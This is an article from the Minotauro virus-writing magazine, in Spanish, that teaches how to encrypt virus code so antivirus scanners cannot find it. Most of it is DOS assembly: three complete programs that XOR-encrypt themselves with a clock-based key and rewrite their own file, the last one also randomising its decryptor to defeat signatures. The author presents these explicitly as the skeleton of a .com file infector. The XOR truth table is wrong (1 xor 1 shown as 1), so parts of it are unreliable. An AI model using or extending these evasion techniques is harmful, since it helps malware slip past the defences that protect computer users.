Copy Link
Add to Bookmark
Report
Minotauro Magazine Issue 03 04 Encripci¢n, parte 1...
Encripci¢n, parte 1...
-------------------------------------------------------------------------------
Algunas definiciones
--------------------
Criptografia: del griego graphe----->accion de escribir
y de kruptos---->oculto
Arte de escribir con clave secreta o de modo enigmatico.
Que es encriptar.
-----------------
Encriptar ( en nuestro metie ) consiste en codificar o cambiar un codigo
perfectamente legible por otro que a primera instancia no lo sea.
Para que encriptamos un codigo.
-------------------------------
a)Para que no sea legible el codigo a simple vista al hacer un desensamblado.
b)Para que algunos antivirus heuristicos no nos jodan.
c)Para que en cada encriptacion si es posible sea distinta , de tal manera que
en cada reproduccion el codigo sea distinto y no se encuentre una cadena
fija permanente que pueda ser usada por los scaner.(Realizar esto implicaria
una mezcla de encriptacion con mutacion-)
d)En definitiva para camuflear el codigo.
e)Para lo que se les ocurra.
Formato general de un programa que use encriptamiento.
------------------------------------------------------
startprog: CALL desencripar
;******************************************************************
;parte del codigo que queremos encriptar
mark: ...
...
endmark: ...
;******************************************************************
;rutina de desencriptacion
desencriptar proc
...
...
...
desencriptar endp
De el bosquejo anterior usted puede empezar a razonar lo siguiente..
a)La cabezera o sea ------>call desencriptar , permanecera inmutable por
mas que la rutina de encriptacion en cada reproduccion codifique de forma
diferente la porcion de codigo comprendida entre las etiquetas mark y
endmark.
b)La rutina de desencriptacion nunca sera encriptada y por lo tanto le cabe
las mismas consideraciones expuestas en a).
Dado que la longitud de esta rutina es larga , mas facil es encontrar una
cadena que se pueda usar para identificar al virus.
c)De lo anterior se deduce que la rutina de desencriptacion debe ser de la
menor longitud posible , o mejor distinta en cada reproduccion.
d)La rutina de encriptacion , esta encriptada---->Redundancia??
Como se encripta.
-----------------
El virus se debe encriptar justamente antes de reproducirce.
Las rutinas de encriptacion basicas generalmente operan sobre los bytes del
codigo realizando operaciones logicas o aritmeticas sobre estos.
Utilizando xor.
~~~~~~~~~~~~~~~
La intrucion xor destino,fuente realiza un or exclusivo entre destino y fuente
y el resultado queda en destino.
destino xor fuente destino
0 0 0
0 1 1
1 0 1
1 1 1
Lo divertido de la intruccion xor es que si realizamos dos veces la instruccion
xor con el mismo valor obtenemos el dato original.
EJEMPLO.
~~~~~~~ mov cl,55h
mov bl,0aah----------->registro bl=AA en hexa.
xor bl,cl ------------> bl xor cl ---->bl=FF en hexa.
xor bl,cl-------------> bl xor cl ---->bl=AA en hexa.
Esto es ideal para encriptar ya que la rutina de encriptacion y la de
desencriptacion sera identica.
A modo de ejemplo utilizaremos un programa .com que cada vez que se ejecuta se
sobrescribe sobre si mismo encriptandoce.
Paso a Paso.
------------
1) Programa sin encriptacion.
;________________________cortar aqui_________________________________
;compilarlo con nombre prueba1.com
code segment
org 0100h
assume cs:code,ds:code
programa proc far
uno:
lea dx, saludo
mov ah,09h
int 21h ;imprime Minotauro
mov ax,3d02h ;habre el file prueba1.com
lea dx,file ;modo lectura escritura
int 21h ;debuelve file handle en ax
mov (handle), ax
mov bx, (handle)
lea cx,dos ;calcula y guarda en cx la
lea ax,uno ;longitud en bytes de este programa
sub cx,ax
lea dx,uno ;buffer comienza en ds:uno
mov ax,4000h
int 21h ;se sobreescribe este programa
mov ax,3e00h ;cierra el file prueba1.com
int 21h
mov ah,4ch ;vuelve al dos
int 21h
saludo db "Minotauro$"
file db "prueba1.com",0
handle dw 1 dup (?)
dos:
programa endp
code ends
end programa
;__________________________cortar aqui____________________________________
Bien si usted a ejecutado el programa anterio vera que funciona correctamente.
Pero ahora suponga que el programa anterior sea un codigo de un virus
infector de .com no residente.
Entonces seria facil para el anti extraer una firma ($%#@&*@-%##-->dedicado
al anti),consistente en un string de bytes lo suficientemente extenso para
ser utilizado por un scaner ya que el codigo permanece igual en cada corrida.
Para evitar este inconveniente encriptaremos el programa anterior utilizando
xor.
2) Encriptado con xor.
Los pasos en el programa serian los siguientes:
a)Desencriptar con la llave existente
b)Se ejecuta el programa desencriptado
c)Generar una nueva llave
d)Encriptar y sobreescribirse
e)Devolver el control.
La rutina de encriptacion y desencriptacion.
--------------------------------------------
nombre:encrEsta rutina es la encargada de encriptar y desencriptar , por lo tanto
sera casi la unica parte que quedara siempre sin encriptar.
Basicamente trabajara encriptando o desencriptando el codigo comprendido
entre las etiquetas mark y endmark.
Realizara una xor exclusive con una llave que se guarda en xorkey ,
la cual es una variable tipo word.
Prefiero hacer xor con word en vez de bytes debido a con el primero
tendremos 65535 codificaciones del codigo distinto , contra 255 si usamos
bytes.
( Esto no es tan asi por el metodo con que se genera la llave)
De ordinario la primera vez debera realizar un xor con llave igual a cero.
Luego el programa genera una nueva llave , utilizando el servicio int 21,2c
lectura de tiempo y fecha del dos.
Esta nueva llave es guardada en la variable xorkey y se utilizara en el
momento de encriptacion.
De mas esta decir que la variable xorkey no es encriptada.
UNA COSA MAS.
-------------
Debido a que pretendemos codificar lo maximo posible el codigo ,
la parte de copiado y devolucion del control al dos (o al anfitrion si estamos
realizando un virus ) es copiada en memoria al final del virus ,esto
debido a que si no hariamos esto esta parte tambien tendria que quedar sin
codificar.
Esto es la porcion de codigo comprendido entre l1 y l2.
;___________________________cortar aqui____________________________________
;compilarlo con nombre prueba2.com
code segment
org 0100h
assume cs:code,ds:code
programa proc far
uno:
;*****************************************************************************
;Esta parte en este programa no haria falta , esto es para allar el delta offset
;para direccionar atravez de bp pues en un virus infector de com si este
;se anexa al final las etiquetas quedarian mal direccionadas.
CALL falso
falso proc
falso endp
pop bp
sub bp,0103h
;*****************************************************************************
call encr_desc
mark:
start:
lea dx, saludo + bp
mov ah,09h
int 21h ;imprime Minotauro
; etc....etc....etc
;******************************************************************
;mueve desde l1 hasta l2 al final del codigo
;esta parte en un virus seria la parte de reproduccion y devolucion
;del control al programa anfitrion
;esto lo realizamos para tratar de encriptar la mayor parte posible de codigo.
cld
lea si, l1 + bp
lea di, dos + bp
lea cx, l2
lea ax, l1
sub cx,ax
sar cx, 1
inc cx
rep movsw
;*******************************************************************
call rand ;obtiene un numero aleatorio de 16 bits
;para usarlo como nueva llave
mov word ptr [xorkey+bp],dx
;********************************************************************
jmp dos
l1:
;encuentra el offset en donde a quedado la rutina encr_desc
;almacena en called para luego llamar a esta rutina via memoria.
lea ax, rutina + bp
mov [called + bp], ax
mov ax,3d02h ;habre el file prueba1.com
lea dx,file+bp ;modo lectura escritura
int 21h ;debuelve file handle en ax
mov [handle + bp], ax
mov bx, [handle + bp]
lea cx,dos+bp ;calcula y guarda en cx la
lea ax,uno+bp ;longitud en bytes de este programa
sub cx,ax
lea dx,uno+bp ;buffer comienza en ds:uno
push bx
push cx
push dx
call [called+bp] ;encripta con la nueva llave
pop dx
pop cx
pop bx
mov ax,4000h
int 21h ;se sobreescribe este programa
mov ax,3e00h ;cierra el file prueba1.com
int 21h
mov ah,4ch ;vuelve al dos
int 21h
l2:
;**********************************************************************
rand proc
;genera una nueva llave aleatoria leyendo el reloj (minutos y segundos)
;resultado en dx
mov ah,2ch
int 21h
ret
rand endp
;**********************************************************************
saludo db "Minotauro$"
file db "prueba2.com",0
handle dw 1 dup (?)
endmark: nop
nop
;la encriptacion termina en endmark y debido a que trabajamos con word
;y en el calculo nos puede dar que el ultimo word a encriptar comienze
;en direccion de handle+1 ponemos un dos para que si sucede esto encripte
;inutilmente al nop y no a la parte baja de xorkey la cual debe quedar
;desencriptada.
;Se podria haber colocado endmark antes de handle y sacar los nop.
xorkey dw 1 dup (0) ;word donde se guarda la llave
called dw 1 dup (0)
;********************rutina de encriptacion y desencriptacion*************
rutina:
;esta etiqueta (rutina) esta por el echo de que cuando llamamos a la
;rutina para encriptar lo hacemos desde el codigo que hemos desplazado
;en memoria y si hacemos un call encr;pues la rutina encr;calculado en tiempo de compilacion,
;por lo tanto llamamos a la rutina via memoria y para saber
;donde a quedado usamos la etiqueta rutina.
encr_desc proc
lea bx, mark + bp
lea dx, endmark + bp
mov cx, dx
sub cx,bx
sar cx, 1
inc cx
mov dx, [xorkey + bp]
xorloop: xor [bx],dx ;bx puntero de word a criptar o descriptar
add bx,02 ;dx la llave
loop xorloop
ret
encr_desc endp
;***************************************************************************
dos:
programa endp
code ends
end programa
;____________________________corte aqui__________________________________
Bien ahora usted observa que en cada corrida del programa pocas son las
partes del mismo que permanece constantes exactamente estas partes son:
****************************************************************************
CALL falso
falso proc
falso endp
pop bp
sub bp,0103h
Esta parte no nos traer problema en primera instancia ya que son pocos bytes.
En todo caso podemos usar un truco que veremos luego.
****************************************************************************
xorkey dw 1 dup (0) ;word donde se guarda la llave
called dw 1 dup (0)
No problema pues xorkey es distinta en cada reproduccion.
****************************************************************************
encr_desc proc
lea bx, mark + bp
lea dx, endmark + bp
mov cx, dx
sub cx,bx
sar cx, 1
inc cx
mov dx,[xorkey + bp]
xorloop: xor [bx],dx ;bx puntero de word a criptar o descriptar
add bx,02 ;dx la llave
loop xorloop
ret
encr_desc endp
Esta seria la parte mas extensa de codigo que queda sin encriptar , y por lo
tanto el eslabon mas debil del sistema .
Para eliminar esto supongamos que aaaa ..... cccc sean numeros aleatorios
de 16 bits generados de la misma manera que xorkey y transformamos nuestra
rutina de la siguiente manera.
encr_desc proc
lea bx, mark + bp
antiscan:
add bx,aaaa------>agregado
sub bx,aaaa------>agregado
lea dx, endmark + bp
mov cx, dx
sub cx,bx
add cx,bbbb ------>agregado
sub cx,bbbb ------>agregado
sar cx, 1
inc cx
mov dx, [xorkey + bp]
xorloop: xor [bx],dx ;bx puntero de word a criptar o descriptar
add bx,02 ;dx la llave
add bx,cccc------>agregado
sub bx,cccc------>agregado
loop xorloop
ret
encr_desc endp
Observese que al sumar y al restar una misma cantidad el contenido del
registro no cambia , pero si el codigo generado.
Con esto logramos que el string que se pueda llegar a dejar constante en
cada reproduccion sea de menor longitud.
Como se haria esto .... simple antes de reproducir generariamos los numeros
aaaa.....cccc y los colocariamos en la rutina.
******************************************************************************
Veamos el programa con esta modificacion.
-----------------------------------------
;____________________________corte aqui____________________________________
;compilarlo con nombre prueba3.com
code segment
org 0100h
assume cs:code,ds:code
programa proc far
uno:
call falso
falso proc
falso endp
pop bp
sub bp,0103h
call encr_desc
mark:
start:
lea dx, saludo + bp
mov ah,09h
int 21h ;imprime Minotauro
; etc....etc....etc
cld
lea si, l1 + bp
lea di, dos + bp
lea cx, l2
lea ax, l1
sub cx,ax
sar cx, 1
inc cx
rep movsw
call rand ;obtiene un numero aleatorio de 16 bits
;para usarlo como nueva llave
mov word ptr [xorkey+bp],dx
;********************************************************************
;agregado para variar la rutina de encriptamiento
lea di,antiscan+bp ;puntero en di
call rand ;alla aaaa
mov [di+bp+2],dx ;coloca aaaaa
mov [di+bp+6],dx ;coloca aaaa
call rand ;alla bbbb
mov [di+bp+18],dx ;coloca bbbb
mov [di+bp+22],dx ;coloca bbbb
call rand ;alla cccc
mov [di+bp+39],dx ;coloca cccc
mov [di+bp+43],dx ;coloca cccc
jmp dos
l1:
lea ax, rutina + bp
mov [called + bp], ax
mov ax,3d02h ;habre el file prueba1.com
lea dx,file+bp ;modo lectura escritura
int 21h ;debuelve file handle en ax
mov [handle + bp], ax
mov bx, [handle + bp]
lea cx,dos+bp ;calcula y guarda en cx la
lea ax,uno+bp ;longitud en bytes de este programa
sub cx,ax
lea dx,uno+bp ;buffer comienza en ds:uno
push bx
push cx
push dx
call [called+bp] ;encripta con la nueva llave
pop dx
pop cx
pop bx
mov ax,4000h
int 21h ;se sobreescribe este programa
mov ax,3e00h ;cierra el file prueba1.com
int 21h
mov ah,4ch ;vuelve al dos
int 21h
l2:
rand proc
mov ah,2ch
int 21h
ret
rand endp
saludo db "Minotauro$"
file db "prueba3.com",0
handle dw 1 dup (?)
endmark: nop
nop
xorkey dw 1 dup (0) ;word donde se guarda la llave
called dw 1 dup (0)
rutina:
encr_desc proc
lea bx,mark+bp
antiscan:
add bx,1111h
sub bx,1111h
lea dx, endmark + bp
mov cx, dx
sub cx,bx
add cx,2222h
sub cx,2222h
sar cx, 1
inc cx
mov dx, [xorkey + bp]
xorloop: xor [bx],dx ;bx puntero de word a criptar o descriptar
add bx,02 ;dx la llave
add bx,3333h
sub bx,3333h
loop xorloop
ret
encr_desc enp
dos:
programa endp
code ends
end programa
;_______________________corte aqui___________________________________
Bien ahora la rutina encr_desc ligeramente cambia entre reproducion y
reproduccion.
?es esto la solucion final?
No pues aunque se la hemos complicado a los anti todavia una vez estudiado
el codigo los scaners podran usar comodines .
Eso si les costara mas trabajo he he he...
Bueno por algo se desarrollo la mutacion !!!!!.
Creo para el metodo de xor ya basta lo explicado.
Como veran la rutina de encriptacion no debe por que ser igual a la
de desencriptacion solo basta con que la segunda desaga los cambios
producidos por la primera.
Por ejemplo se podra encriptar sumando un numero y desencriptar restando,
o rotando x veces cada byte a la derecha y desencriptar rotando a la
izquierda, o etc , etc , o una mezcla de todos.
Bueno por esta vez basta que les aproveche y dudas al bbs.
Bye:LAPIDARIO.